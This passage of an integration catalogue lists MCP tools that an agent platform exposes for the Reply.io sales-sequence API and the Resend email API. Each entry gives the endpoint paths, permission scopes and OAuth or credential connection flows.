/api/v1/replyio/v3/sequences/{id}/steps/bulk-delete. Scopes: sequences:write. replyio_post_v3_sequences_by_id_steps_by_step_id_disable (write) — Disable step variants. POST /v3/sequences/{id}/steps/{step_id}/disable. Take variants out of rotation without deleting them — handy for stopping one arm of an A/B test. Toggled one by one. POST /api/v1/replyio/v3/sequences/{id}/steps/{step_id}/disable. Scopes: sequences:operate. replyio_post_v3_sequences_by_id_steps_by_step_id_enable (write) — Enable step variants. POST /v3/sequences/{id}/steps/{step_id}/enable. Bring variants of a step back into rotation after they were switched off. Each one is toggled on its own. POST /api/v1/replyio/v3/sequences/{id}/steps/{step_id}/enable. Scopes: sequences:operate. replyio_post_v3_sequences_by_id_steps_by_step_id_variants (write) — Create a step variant. POST /v3/sequences/{id}/steps/{step_id}/variants. Add another variant so a step rotates between bodies. Text variants use JSON; LinkedIn voice uses multipart form data. POST /api/v1/replyio/v3/sequences/{id}/steps/{step_id}/variants. Scopes: sequences:write. replyio_post_v3_sequences_by_id_steps_by_step_id_variants_bulk (write) — Bulk create step variants. POST /v3/sequences/{id}/steps/{step_id}/variants/bulk. Add several text variants to one step in a single call. They're appended in the order you send them. POST /api/v1/replyio/v3/sequences/{id}/steps/{step_id}/variants/bulk. Scopes: sequences:write. replyio_post_v3_sequences_by_id_steps_by_step_id_variants_bulk_delete (write) — Bulk delete step variants. POST /v3/sequences/{id}/steps/{step_id}/variants/bulk-delete. Delete up to 100 variants from one step at once. Each is handled on its own, so the ones that can go still go. POST /api/v1/replyio/v3/sequences/{id}/steps/{step_id}/variants/bulk-delete. Scopes: sequences:write. replyio_post_v3_sequences_by_id_unarchive (write) — Unarchive a sequence. POST /v3/sequences/{id}/unarchive. Documented by Reply.io as coming soon (available by late August 2026); it may not answer yet. Bring an archived sequence back to its old status. Its contacts aren't put back, so add them again before starting. POST /api/v1/replyio/v3/sequences/{id}/unarchive. Scopes: sequences:operate. replyio_post_v3_sequences_by_sequence_id_contacts_by_contact_id_preview_reset (write) — Reset manual edits in a sequence preview. POST /v3/sequences/{sequence_id}/contacts/{contact_id}/preview/reset. Discard the copy held for one contact — generated messages and hand edits alike — and fall back to the step templates. POST /api/v1/replyio/v3/sequences/{sequence_id}/contacts/{contact_id}/preview/reset. Scopes: sequences:operate. replyio_post_v3_sequences_create_from_template (write) — Create a sequence from a template. POST /v3/sequences/create-from-template. Build a new sequence from one of your saved templates. Pass templateId, and optionally a folder to file it into. POST /api/v1/replyio/v3/sequences/create-from-template. Scopes: sequences:write. replyio_post_v3_sequences_pause (write) — Bulk pause sequences. POST /v3/sequences/pause. Pause up to 1000 running sequences in one call. Only currently active ones are paused; the rest are reported back. POST /api/v1/replyio/v3/sequences/pause. Scopes: sequences:operate. replyio_post_v3_sequences_start (write) — Bulk start sequences. POST /v3/sequences/start. Start up to 1000 sequences in one call. Each needs contacts, a connected email account, and a schedule with sending hours. Sends to real recipients. POST /api/v1/replyio/v3/sequences/start. Scopes: sequences:operate. replyio_post_v3_sequences_stats (write) — Get stats for all sequences. POST /v3/sequences/stats. Get email and LinkedIn engagement per sequence. The window is capped at 31 days, as a preset or an explicit from and to. POST /api/v1/replyio/v3/sequences/stats. Scopes: sequences:read. replyio_post_v3_sequences_unarchive (write) — Bulk unarchive sequences. POST /v3/sequences/unarchive. Documented by Reply.io as coming soon (available by late August 2026); it may not answer yet. Bring up to 1000 sequences out of the archive. Each returns to its old status, but its contacts are not put back. POST /api/v1/replyio/v3/sequences/unarchive. Scopes: sequences:write. replyio_post_v3_tasks (write) — Create a task. POST /v3/tasks. Create a task of your own. taskType, startAt, dueTo, and a template body are required; contactId for every type but toDo. POST /api/v1/replyio/v3/tasks. Scopes: tasks:write. replyio_post_v3_tasks_batch_assign (write) — Batch reassign tasks. POST /v3/tasks/batch/assign. Hand up to 100 tasks to a colleague. They must be on your team, or nothing is reassigned. Only failed ids come back. POST /api/v1/replyio/v3/tasks/batch/assign. Scopes: tasks:write. replyio_post_v3_tasks_batch_complete (write) — Batch complete tasks. POST /v3/tasks/batch/complete. Clear up to 100 tasks off the list without carrying them out. Sequence-step tasks close their step so the contact moves on. POST /api/v1/replyio/v3/tasks/batch/complete. Scopes: tasks:operate. replyio_post_v3_tasks_bulk_delete (write) — Bulk delete tasks. POST /v3/tasks/bulk-delete. Remove up to 100 tasks at once. Open tasks are cancelled and completed ones archived; either way they leave your lists. POST /api/v1/replyio/v3/tasks/bulk-delete. Scopes: tasks:write. replyio_post_v3_tasks_by_id_complete (write) — Complete a task. POST /v3/tasks/{id}/complete. Mark a task done without carrying it out. On a call task, pass callResolution to record how the call went. POST /api/v1/replyio/v3/tasks/{id}/complete. Scopes: tasks:operate. replyio_post_v3_tasks_by_id_execute (write) — Execute and complete a task. POST /v3/tasks/{id}/execute. Carry a task out and complete it. Only manualEmail and sms tasks can be executed — use complete for any other type. POST /api/v1/replyio/v3/tasks/{id}/execute. Scopes: tasks:operate. replyio_post_v3_tasks_filter (write) — Filter tasks. POST /v3/tasks/filter. Narrow the task list by due date, type, status, or overdue. Every field is optional, so an empty object returns them all. POST /api/v1/replyio/v3/tasks/filter. Scopes: tasks:read. replyio_post_v3_webhooks (write) — Create a webhook subscription. POST /v3/webhooks. Have Reply call your service as activity happens. Set eventType to one supported event and url to an absolute endpoint. POST /api/v1/replyio/v3/webhooks. Scopes: webhooks:write. replyio_post_v3_webhooks_by_id_disable (write) — Disable a webhook subscription. POST /v3/webhooks/{id}/disable. Stop a subscription delivering without deleting it. It keeps its event, url, and settings until you enable it again. POST /api/v1/replyio/v3/webhooks/{id}/disable. Scopes: webhooks:operate. replyio_post_v3_webhooks_by_id_enable (write) — Enable a webhook subscription. POST /v3/webhooks/{id}/enable. Start a paused subscription delivering again, including one Reply disabled after repeated delivery failures. POST /api/v1/replyio/v3/webhooks/{id}/enable. Scopes: webhooks:operate. replyio_post_v3_webhooks_by_id_test (write) — Send a test payload. POST /v3/webhooks/{id}/test. Check your receiving endpoint is wired up before real activity arrives. Reply posts a sample payload and reports back. POST /api/v1/replyio/v3/webhooks/{id}/test. Scopes: webhooks:operate. replyio_put_v3_ai_prompts_by_id (write) — Update a personal AI prompt. PUT /v3/ai-prompts/{id}. Rename one of your personal AI prompts or rewrite its text. Both fields are replaced, so send everything you want to keep. PUT /api/v1/replyio/v3/ai-prompts/{id}. Scopes: sequences:write. replyio_put_v3_contact_account_lists_by_id (write) — Update an account list. PUT /v3/contact-account-lists/{id}. Rename an account list. The name is all you can change here, and it must be 3 to 128 characters and unique in your team. PUT /api/v1/replyio/v3/contact-account-lists/{id}. Scopes: contacts:write. replyio_put_v3_contact_accounts_by_id (write) — Update an account. PUT /v3/contact-accounts/{id}. Replace an account's details in full. Name and ownerUserId are required, and any optional field you leave out is cleared. PUT /api/v1/replyio/v3/contact-accounts/{id}. Scopes: contacts:write. replyio_put_v3_contact_accounts_by_id_owner (write) — Update account owner. PUT /v3/contact-accounts/{id}/owner. Hand an account to another member of your team by user id. Nothing else changes, and the account comes back with its new owner. PUT /api/v1/replyio/v3/contact-accounts/{id}/owner. Scopes: contacts:write. replyio_put_v3_contact_blacklist_rules_domains_by_id (write) — Update a domain blacklist rule. PUT /v3/contact-blacklist-rules/domains/{id}. Correct the domain a blacklist rule blocks. Send the full replacement pattern — it's the only field the rule carries. PUT /api/v1/replyio/v3/contact-blacklist-rules/domains/{id}. Scopes: contacts:write. replyio_put_v3_contact_blacklist_rules_email_exceptions_by_id (write) — Update an email exception blacklist rule. PUT /v3/contact-blacklist-rules/email-exceptions/{id}. Change which address an exception keeps contactable. The previous address falls back under whatever rules cover it. PUT /api/v1/replyio/v3/contact-blacklist-rules/email-exceptions/{id}. Scopes: contacts:write. replyio_put_v3_contact_blacklist_rules_emails_by_id (write) — Update an email blacklist rule. PUT /v3/contact-blacklist-rules/emails/{id}. Change which address an email blacklist rule blocks. Send the full replacement pattern; platform rules are read-only. PUT /api/v1/replyio/v3/contact-blacklist-rules/emails/{id}. Scopes: contacts:write. replyio_put_v3_contact_lists_by_id (write) — Update a contact list. PUT /v3/contact-lists/{id}. Rename a contact list. Only the name changes here — use share and unshare to change visibility. The new name must be unique. PUT /api/v1/replyio/v3/contact-lists/{id}. Scopes: contacts:write. replyio_put_v3_contacts_owner (write) — Change contacts owner. PUT /v3/contacts/owner. Reassign contacts to another teammate after a handoff or territory change. Set reassignTasks to move their tasks too. PUT /api/v1/replyio/v3/contacts/owner. Scopes: contacts:operate. replyio_put_v3_custom_fields_by_id (write) — Update a custom field. PUT /v3/custom-fields/{id}. Rename a custom field or change the kind of value it holds. Send the complete definition — metadata is replaced, not merged. PUT /api/v1/replyio/v3/custom-fields/{id}. Scopes: contacts:write. replyio_put_v3_email_accounts_tags_by_tagid (write) — Update a tag. PUT /v3/email-accounts/tags/{tagId}. Rename an email account tag or change its color. The change applies everywhere the tag is already used. PUT /api/v1/replyio/v3/email-accounts/tags/{tagId}. Scopes: channels:operate. replyio_put_v3_email_template_folders_by_id (write) — Update an email template folder. PUT /v3/email-template-folders/{id}. Rename an email template folder, passing its foldertype. Templates stay put, and default folders cannot be renamed. PUT /api/v1/replyio/v3/email-template-folders/{id}. Scopes: sequences:write. replyio_put_v3_email_templates_by_id (write) — Update an email template. PUT /v3/email-templates/{id}. Change a template's content. Name and body are required every time, so send it in full — anything left out is overwritten. PUT /api/v1/replyio/v3/email-templates/{id}. Scopes: sequences:write. replyio_put_v3_holiday_calendars_by_id (write) — Update a holiday calendar. PUT /v3/holiday-calendars/{id}. Change a custom calendar's name, repeat setting, or days. The holidays array replaces the set outright, so send it all. PUT /api/v1/replyio/v3/holiday-calendars/{id}. Scopes: sequences:write. replyio_put_v3_inbox_threads_by_id_category (write) — Assign or clear a thread's category. PUT /v3/inbox/threads/{id}/category. File one conversation under an inbox category, or send categoryId as null to clear it. A thread sits in at most one. PUT /api/v1/replyio/v3/inbox/threads/{id}/category. Scopes: inbox:operate. replyio_put_v3_inbox_threads_by_id_meeting_intent (write) — Toggle thread meeting-intent. PUT /v3/inbox/threads/{id}/meeting-intent. Mark a conversation as one where the contact wants to book a meeting, or clear it. The thread filter can use this flag. PUT /api/v1/replyio/v3/inbox/threads/{id}/meeting-intent. Scopes: inbox:operate. replyio_put_v3_inbox_threads_categories_by_id (write) — Update inbox category. PUT /v3/inbox/threads/categories/{id}. Use this endpoint when you need to rename a category or change its color. Both name and color are replaced by what you send, so include the values you want to keep. The new name must be unique within your team. Reply's reserved categories cannot be edited — those are rejected with 403 and code inboxCategory.cannotModifyDefault. PUT /api/v1/replyio/v3/inbox/threads/categories/{id}. Scopes: inbox:write. replyio_put_v3_linkedin_accounts_by_id_limits (write) — Update LinkedIn account limits. PUT /v3/linkedin-accounts/{id}/limits. Cap daily LinkedIn automation per account: connection requests, messages, InMails, profile views, and more. PUT /api/v1/replyio/v3/linkedin-accounts/{id}/limits. Scopes: channels:operate. replyio_put_v3_linkedin_accounts_by_id_revoke_settings (write) — Update LinkedIn account revoke settings. PUT /v3/linkedin-accounts/{id}/revoke-settings. Have an account withdraw its own unanswered LinkedIn invitations. Set enabled and the days a request may stay pending. PUT /api/v1/replyio/v3/linkedin-accounts/{id}/revoke-settings. Scopes: channels:write. replyio_put_v3_schedules_by_id (write) — Update a schedule. PUT /v3/schedules/{id}. Replace a schedule in full. Send every value you want to keep, including the complete main and follow-up timings arrays. PUT /api/v1/replyio/v3/schedules/{id}. Scopes: sequences:write. replyio_put_v3_sequence_folders_by_id (write) — Update a sequence folder. PUT /v3/sequence-folders/{id}. Rename one of your sequence folders. Only the name changes; the sequences filed in it stay where they are. PUT /api/v1/replyio/v3/sequence-folders/{id}. Scopes: sequences:write. replyio_put_v3_sequences_ai_sdr_by_sequence_id_approval_mode (write) — Set the approval mode. PUT /v3/sequences/ai-sdr/{sequence_id}/approval-mode. Decide whether AI-written messages send on their own or wait for a person to approve them. Set enabled to true to hold them. PUT /api/v1/replyio/v3/sequences/ai-sdr/{sequence_id}/approval-mode. Scopes: ai-sdr:operate. replyio_put_v3_sequences_ai_sdr_by_sequence_id_generated_step_types (write) — Set generated step types. PUT /v3/sequences/ai-sdr/{sequence_id}/generated-step-types. Set the mix of channels the AI SDR may generate steps for. Send the full set you want — at least one, with no duplicates. PUT /api/v1/replyio/v3/sequences/ai-sdr/{sequence_id}/generated-step-types. Scopes: ai-sdr:write. replyio_put_v3_sequences_ai_sdr_by_sequence_id_knowledge_base (write) — Connect a knowledge base to the sequence. PUT /v3/sequences/ai-sdr/{sequence_id}/knowledge-base. Set the knowledge base the AI SDR draws on for this sequence. A sequence keeps one at a time, so this replaces any previous. PUT /api/v1/replyio/v3/sequences/ai-sdr/{sequence_id}/knowledge-base. Scopes: ai-sdr:operate. replyio_put_v3_sequences_ai_sdr_by_sequence_id_playbook (write) — Attach a playbook to the sequence. PUT /v3/sequences/ai-sdr/{sequence_id}/playbook. Set the playbook the AI SDR follows for this sequence. Send playbookId as a composite id such as t-7. Replaces any previous one. PUT /api/v1/replyio/v3/sequences/ai-sdr/{sequence_id}/playbook. Scopes: ai-sdr:operate. replyio_put_v3_sequences_by_id_email_account_links (write) — Set sequence email accounts. PUT /v3/sequences/{id}/email-account-links. Replace a sequence's sending mailboxes with an exact list. Accounts missing from it are unlinked; an empty array clears all. PUT /api/v1/replyio/v3/sequences/{id}/email-account-links. Scopes: sequences:operate. replyio_put_v3_sequences_by_id_owner (write) — Change sequence owner. PUT /v3/sequences/{id}/owner. Hand one sequence to another team member by user id. Reassigning is restricted to the team owner outside an organization. PUT /api/v1/replyio/v3/sequences/{id}/owner. Scopes: sequences:write. replyio_put_v3_sequences_by_id_steps_by_step_id (write) — Update a sequence step. PUT /v3/sequences/{id}/steps/{step_id}. Change what a step does. Send the whole step; give each variant an id, or it's added as new, and omitted ones are dropped. PUT /api/v1/replyio/v3/sequences/{id}/steps/{step_id}. Scopes: sequences:write. replyio_put_v3_sequences_by_id_steps_by_step_id_variants_by_variant_id (write) — Update a step variant. PUT /v3/sequences/{id}/steps/{step_id}/variants/{variant_id}. Change one variant of a step. Text variants use JSON; LinkedIn voice message variants use multipart form data. PUT /api/v1/replyio/v3/sequences/{id}/steps/{step_id}/variants/{variant_id}. Scopes: sequences:write. replyio_put_v3_tasks_by_id (write) — Update a task. PUT /v3/tasks/{id}. Replace an open task in full. Send taskType, startAt, dueTo, and a template body every time; only open tasks can change. PUT /api/v1/replyio/v3/tasks/{id}. Scopes: tasks:write. replyio_put_v3_tasks_by_id_assigned_user (write) — Reassign a task. PUT /v3/tasks/{id}/assigned-user. Hand one task to a colleague by user id. They must be on your team, and your role must allow the reassignment. PUT /api/v1/replyio/v3/tasks/{id}/assigned-user. Scopes: tasks:write. replyio_put_v3_webhooks_by_id (write) — Update a webhook subscription. PUT /v3/webhooks/{id}. Repoint a subscription at a different url, event, or scope. It replaces the whole thing, so repeat the flags you keep. PUT /api/v1/replyio/v3/webhooks/{id}. Scopes: webhooks:write. ================================================================================ ## Resend URL: https://www.agenticfabriq.com/integrations/resend Section: Integrated Tools Resend — 108 MCP tools Provider key: resend. Scopes: emails:send, full_access. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. resend_delete_api_keys_by_api_key_id (write, destructive) — Remove an existing API key via DELETE /api-keys/{api_key_id} DELETE /api/v1/resend/api-keys/{api_key_id}. Scopes: full_access. resend_delete_audiences_by_id (write, destructive) — Remove an existing audience via DELETE /audiences/{id} DELETE /api/v1/resend/audiences/{id}. Scopes: full_access. resend_delete_automations_by_automation_id (write, destructive) — Delete an automation via DELETE /automations/{automation_id} DELETE /api/v1/resend/automations/{automation_id}. Scopes: full_access. resend_delete_broadcasts_by_id (write, destructive) — Remove an existing broadcast that is in the draft status via DELETE /broadcasts/{id} DELETE /api/v1/resend/broadcasts/{id}. Scopes: full_access. resend_delete_contact_properties_by_id (write, destructive) — Remove an existing contact property via DELETE /contact-properties/{id} DELETE /api/v1/resend/contact-properties/{id}. Scopes: full_access. resend_delete_contacts_by_contact_id_segments_by_segment_id (write, destructive) — Remove a contact from a segment via DELETE /contacts/{contact_id}/segments/{segment_id} DELETE /api/v1/resend/contacts/{contact_id}/segments/{segment_id}. Scopes: full_access. resend_delete_contacts_by_id (write, destructive) — Remove an existing contact by ID or email via DELETE /contacts/{id} DELETE /api/v1/resend/contacts/{id}. Scopes: full_access. resend_delete_domains_by_domain_id (write, destructive) — Remove an existing domain via DELETE /domains/{domain_id} DELETE /api/v1/resend/domains/{domain_id}. Scopes: full_access. resend_delete_events_by_identifier (write, destructive) — Delete an event via DELETE /events/{identifier} DELETE /api/v1/resend/events/{identifier}. Scopes: full_access. resend_delete_oauth_grants_by_oauth_grant_id (write, destructive) — Revoke an OAuth grant via DELETE /oauth/grants/{oauth_grant_id} DELETE /api/v1/resend/oauth/grants/{oauth_grant_id}. Scopes: full_access. resend_delete_segments_by_id (write, destructive) — Remove an existing segment via DELETE /segments/{id} DELETE /api/v1/resend/segments/{id}. Scopes: full_access. resend_delete_suppressions_by_suppression (write, destructive) — Remove a single suppression by ID or email via DELETE /suppressions/{suppression} DELETE /api/v1/resend/suppressions/{suppression}. Scopes: full_access. resend_delete_templates_by_id (write, destructive) — Remove an existing template via DELETE /templates/{id} DELETE /api/v1/resend/templates/{id}. Scopes: full_access. resend_delete_topics_by_id (write, destructive) — Remove an existing topic via DELETE /topics/{id} DELETE /api/v1/resend/topics/{id}. Scopes: full_access. resend_delete_webhooks_by_webhook_id (write, destructive) — Remove an existing webhook via DELETE /webhooks/{webhook_id} DELETE /api/v1/resend/webhooks/{webhook_id}. Scopes: full_access. resend_get_api_keys (read) — Retrieve a list of API keys via GET /api-keys GET /api/v1/resend/api-keys. Scopes: full_access. resend_get_audiences (read) — Retrieve a list of audiences via GET /audiences GET /api/v1/resend/audiences. Scopes: full_access. resend_get_audiences_by_id (read) — Retrieve a single audience via GET /audiences/{id} GET /api/v1/resend/audiences/{id}. Scopes: full_access. resend_get_automations (read) — Retrieve a list of automations via GET /automations GET /api/v1/resend/automations. Scopes: full_access. resend_get_automations_by_automation_id (read) — Retrieve a single automation via GET /automations/{automation_id} GET /api/v1/resend/automations/{automation_id}. Scopes: full_access. resend_get_automations_by_automation_id_runs (read) — Retrieve a list of automation runs via GET /automations/{automation_id}/runs GET /api/v1/resend/automations/{automation_id}/runs. Scopes: full_access. resend_get_automations_by_automation_id_runs_by_run_id (read) — Retrieve a single automation run via GET /automations/{automation_id}/runs/{run_id} GET /api/v1/resend/automations/{automation_id}/runs/{run_id}. Scopes: full_access. resend_get_broadcasts (read) — Retrieve a list of broadcasts via GET /broadcasts GET /api/v1/resend/broadcasts. Scopes: full_access. resend_get_broadcasts_by_id (read) — Retrieve a single broadcast via GET /broadcasts/{id} GET /api/v1/resend/broadcasts/{id}. Scopes: full_access. resend_get_broadcasts_by_id_clicked_links (read) — Retrieve a broadcast's clicked links via GET /broadcasts/{id}/clicked-links GET /api/v1/resend/broadcasts/{id}/clicked-links. Scopes: full_access. resend_get_broadcasts_by_id_recipients (read) — Retrieve broadcast recipients via GET /broadcasts/{id}/recipients GET /api/v1/resend/broadcasts/{id}/recipients. Scopes: full_access. resend_get_contact_properties (read) — Retrieve a list of contact properties via GET /contact-properties GET /api/v1/resend/contact-properties. Scopes: full_access. resend_get_contact_properties_by_id (read) — Retrieve a single contact property via GET /contact-properties/{id} GET /api/v1/resend/contact-properties/{id}. Scopes: full_access. resend_get_contacts (read) — Retrieve a list of contacts via GET /contacts GET /api/v1/resend/contacts. Scopes: full_access. resend_get_contacts_by_contact_id_segments (read) — Retrieve a list of segments for a contact via GET /contacts/{contact_id}/segments GET /api/v1/resend/contacts/{contact_id}/segments. Scopes: full_access. resend_get_contacts_by_contact_id_topics (read) — Retrieve topics for a contact via GET /contacts/{contact_id}/topics GET /api/v1/resend/contacts/{contact_id}/topics. Scopes: full_access. resend_get_contacts_by_id (read) — Retrieve a single contact by ID or email via GET /contacts/{id} GET /api/v1/resend/contacts/{id}. Scopes: full_access. resend_get_contacts_imports (read) — Retrieve a list of contact imports via GET /contacts/imports GET /api/v1/resend/contacts/imports. Scopes: full_access. resend_get_contacts_imports_by_id (read) — Retrieve a single contact import via GET /contacts/imports/{id} GET /api/v1/resend/contacts/imports/{id}. Scopes: full_access. resend_get_domains (read) — Retrieve a list of domains via GET /domains GET /api/v1/resend/domains. Scopes: full_access. resend_get_domains_by_domain_id (read) — Retrieve a single domain via GET /domains/{domain_id} GET /api/v1/resend/domains/{domain_id}. Scopes: full_access. resend_get_domains_by_domain_id_claim (read) — Retrieve a domain claim via GET /domains/{domain_id}/claim GET /api/v1/resend/domains/{domain_id}/claim. Scopes: full_access. resend_get_emails (read) — Retrieve a list of emails via GET /emails GET /api/v1/resend/emails. Scopes: full_access. resend_get_emails_by_email_id (read) — Retrieve a single email via GET /emails/{email_id} GET /api/v1/resend/emails/{email_id}. Scopes: full_access. resend_get_emails_by_email_id_attachments (read) — Retrieve a list of attachments for a sent email via GET /emails/{email_id}/attachments GET /api/v1/resend/emails/{email_id}/attachments. Scopes: full_access. resend_get_emails_by_email_id_attachments_by_attachment_id (read) — Retrieve a single attachment for a sent email via GET /emails/{email_id}/attachments/{attachment_id} GET /api/v1/resend/emails/{email_id}/attachments/{attachment_id}. Scopes: full_access. resend_get_emails_metrics (read) — Retrieve account-level email metrics via GET /emails/metrics GET /api/v1/resend/emails/metrics. Scopes: full_access. resend_get_emails_receiving (read) — Retrieve a list of received emails via GET /emails/receiving GET /api/v1/resend/emails/receiving. Scopes: full_access. resend_get_emails_receiving_by_email_id (read) — Retrieve a single received email via GET /emails/receiving/{email_id} GET /api/v1/resend/emails/receiving/{email_id}. Scopes: full_access. resend_get_emails_receiving_by_email_id_attachments (read) — Retrieve a list of attachments for a received email via GET /emails/receiving/{email_id}/attachments GET /api/v1/resend/emails/receiving/{email_id}/attachments. Scopes: full_access. resend_get_emails_receiving_by_email_id_attachments_by_attachment_id (read) — Retrieve a single attachment for a received email via GET /emails/receiving/{email_id}/attachments/{attachment_id} GET /api/v1/resend/emails/receiving/{email_id}/attachments/{attachment_id}. Scopes: full_access. resend_get_events (read) — Retrieve a list of events via GET /events GET /api/v1/resend/events. Scopes: full_access. resend_get_events_by_identifier (read) — Retrieve a single event via GET /events/{identifier} GET /api/v1/resend/events/{identifier}. Scopes: full_access. resend_get_logs (read) — Retrieve a list of logs via GET /logs GET /api/v1/resend/logs. Scopes: full_access. resend_get_logs_by_log_id (read) — Retrieve a single log via GET /logs/{log_id} GET /api/v1/resend/logs/{log_id}. Scopes: full_access. resend_get_oauth_grants (read) — Retrieve a list of OAuth grants via GET /oauth/grants GET /api/v1/resend/oauth/grants. Scopes: full_access. resend_get_segments (read) — Retrieve a list of segments via GET /segments GET /api/v1/resend/segments. Scopes: full_access. resend_get_segments_by_id (read) — Retrieve a single segment via GET /segments/{id} GET /api/v1/resend/segments/{id}. Scopes: full_access. resend_get_suppressions (read) — Retrieve a list of suppressions via GET /suppressions GET /api/v1/resend/suppressions. Scopes: full_access. resend_get_suppressions_by_suppression (read) — Retrieve a single suppression by ID or email via GET /suppressions/{suppression} GET /api/v1/resend/suppressions/{suppression}. Scopes: full_access. resend_get_templates (read) — Retrieve a list of templates via GET /templates GET /api/v1/resend/templates. Scopes: full_access. resend_get_templates_by_id (read) — Retrieve a single template via GET /templates/{id} GET /api/v1/resend/templates/{id}. Scopes: full_access. resend_get_topics (read) — Retrieve a list of topics via GET /topics GET /api/v1/resend/topics. Scopes: full_access. resend_get_topics_by_id (read) — Retrieve a single topic via GET /topics/{id} GET /api/v1/resend/topics/{id}. Scopes: full_access. resend_get_webhooks (read) — Retrieve a list of webhooks via GET /webhooks GET /api/v1/resend/webhooks. Scopes: full_access. resend_get_webhooks_by_webhook_id (read) — Retrieve a single webhook via GET /webhooks/{webhook_id} GET /api/v1/resend/webhooks/{webhook_id}. Scopes: full_access. resend_get_webhooks_by_webhook_id_events (read) — Retrieve a list of webhook events via GET /webhooks/{webhook_id}/events GET /api/v1/resend/webhooks/{webhook_id}/events. Scopes: full_access. resend_get_webhooks_by_webhook_id_events_by_event_id (read) — Retrieve a single webhook event via GET /webhooks/{webhook_id}/events/{event_id} GET /api/v1/resend/webhooks/{webhook_id}/events/{event_id}. Scopes: full_access. resend_get_webhooks_by_webhook_id_events_by_event_id_attempts (read) — Retrieve a list of webhook event attempts via GET /webhooks/{webhook_id}/events/{event_id}/attempts GET /api/v1/resend/webhooks/{webhook_id}/events/{event_id}/attempts. Scopes: full_access. resend_patch_api_keys_by_api_key_id (write) — Update an existing API key via PATCH /api-keys/{api_key_id} PATCH /api/v1/resend/api-keys/{api_key_id}. Scopes: full_access. resend_patch_automations_by_automation_id (write) — Update an automation via PATCH /automations/{automation_id} PATCH /api/v1/resend/automations/{automation_id}. Scopes: full_access. resend_patch_broadcasts_by_id (write) — Update an existing broadcast via PATCH /broadcasts/{id} PATCH /api/v1/resend/broadcasts/{id}. Scopes: full_access. resend_patch_contact_properties_by_id (write) — Update an existing contact property via PATCH /contact-properties/{id} PATCH /api/v1/resend/contact-properties/{id}. Scopes: full_access. resend_patch_contacts_by_contact_id_topics (write) — Update topics for a contact via PATCH /contacts/{contact_id}/topics PATCH /api/v1/resend/contacts/{contact_id}/topics. Scopes: full_access. resend_patch_contacts_by_id (write) — Update a single contact by ID or email via PATCH /contacts/{id} PATCH /api/v1/resend/contacts/{id}. Scopes: full_access. resend_patch_domains_by_domain_id (write) — Update an existing domain via PATCH /domains/{domain_id} PATCH /api/v1/resend/domains/{domain_id}. Scopes: full_access. resend_patch_emails_by_email_id (write) — Update a single email via PATCH /emails/{email_id} PATCH /api/v1/resend/emails/{email_id}. Scopes: full_access. resend_patch_events_by_identifier (write) — Update an event via PATCH /events/{identifier} PATCH /api/v1/resend/events/{identifier}. Scopes: full_access. resend_patch_segments_by_id (write) — Update an existing segment via PATCH /segments/{id} PATCH /api/v1/resend/segments/{id}. Scopes: full_access. resend_patch_templates_by_id (write) — Update an existing template via PATCH /templates/{id} PATCH /api/v1/resend/templates/{id}. Scopes: full_access. resend_patch_topics_by_id (write) — Update an existing topic via PATCH /topics/{id} PATCH /api/v1/resend/topics/{id}. Scopes: full_access. resend_patch_webhooks_by_webhook_id (write) — Update an existing webhook via PATCH /webhooks/{webhook_id} PATCH /api/v1/resend/webhooks/{webhook_id}. Scopes: full_access. resend_post_api_keys (write) — Create a new API key via POST /api-keys POST /api/v1/resend/api-keys. Scopes: full_access. resend_post_audiences (write) — Create a list of contacts via POST /audiences POST /api/v1/resend/audiences. Scopes: full_access. resend_post_automations (write) — Create an automation via POST /automations POST /api/v1/resend/automations. Scopes: full_access. resend_post_automations_by_automation_id_duplicate (write) — Duplicate an automation via POST /automations/{automation_id}/duplicate POST /api/v1/resend/automations/{automation_id}/duplicate. Scopes: full_access. resend_post_automations_by_automation_id_stop (write) — Stop an automation via POST /automations/{automation_id}/stop POST /api/v1/resend/automations/{automation_id}/stop. Scopes: full_access. resend_post_broadcasts (write) — Create a broadcast via POST /broadcasts POST /api/v1/resend/broadcasts. Scopes: full_access. resend_post_broadcasts_by_id_cancel (write) — Cancel a broadcast via POST /broadcasts/{id}/cancel POST /api/v1/resend/broadcasts/{id}/cancel. Scopes: full_access. resend_post_broadcasts_by_id_send (write, destructive) — Send or schedule a broadcast via POST /broadcasts/{id}/send POST /api/v1/resend/broadcasts/{id}/send. Scopes: emails:send. resend_post_contact_properties (write) — Create a new contact property via POST /contact-properties POST /api/v1/resend/contact-properties. Scopes: full_access. resend_post_contacts (write) — Create a new contact via POST /contacts POST /api/v1/resend/contacts. Scopes: full_access. resend_post_contacts_by_contact_id_segments_by_segment_id (write) — Add a contact to a segment via POST /contacts/{contact_id}/segments/{segment_id} POST /api/v1/resend/contacts/{contact_id}/segments/{segment_id}. Scopes: full_access. resend_post_domains (write) — Create a new domain via POST /domains POST /api/v1/resend/domains. Scopes: full_access. resend_post_domains_by_domain_id_claim_verify (write) — Verify a domain claim via POST /domains/{domain_id}/claim/verify POST /api/v1/resend/domains/{domain_id}/claim/verify. Scopes: full_access. resend_post_domains_by_domain_id_verify (write) — Verify an existing domain via POST /domains/{domain_id}/verify POST /api/v1/resend/domains/{domain_id}/verify. Scopes: full_access. resend_post_domains_claim (write) — Claim a domain via POST /domains/claim POST /api/v1/resend/domains/claim. Scopes: full_access. resend_post_emails (write, destructive) — Send an email via POST /emails POST /api/v1/resend/emails. Scopes: emails:send. resend_post_emails_batch (write, destructive) — Trigger up to 100 batch emails at once via POST /emails/batch POST /api/v1/resend/emails/batch. Scopes: full_access. resend_post_emails_by_email_id_cancel (write) — Cancel the schedule of the e-mail via POST /emails/{email_id}/cancel POST /api/v1/resend/emails/{email_id}/cancel. Scopes: full_access. resend_post_emails_by_email_id_share (write) — Create a shareable link for a sent or received email via POST /emails/{email_id}/share POST /api/v1/resend/emails/{email_id}/share. Scopes: full_access. resend_post_events (write) — Create an event via POST /events POST /api/v1/resend/events. Scopes: full_access. 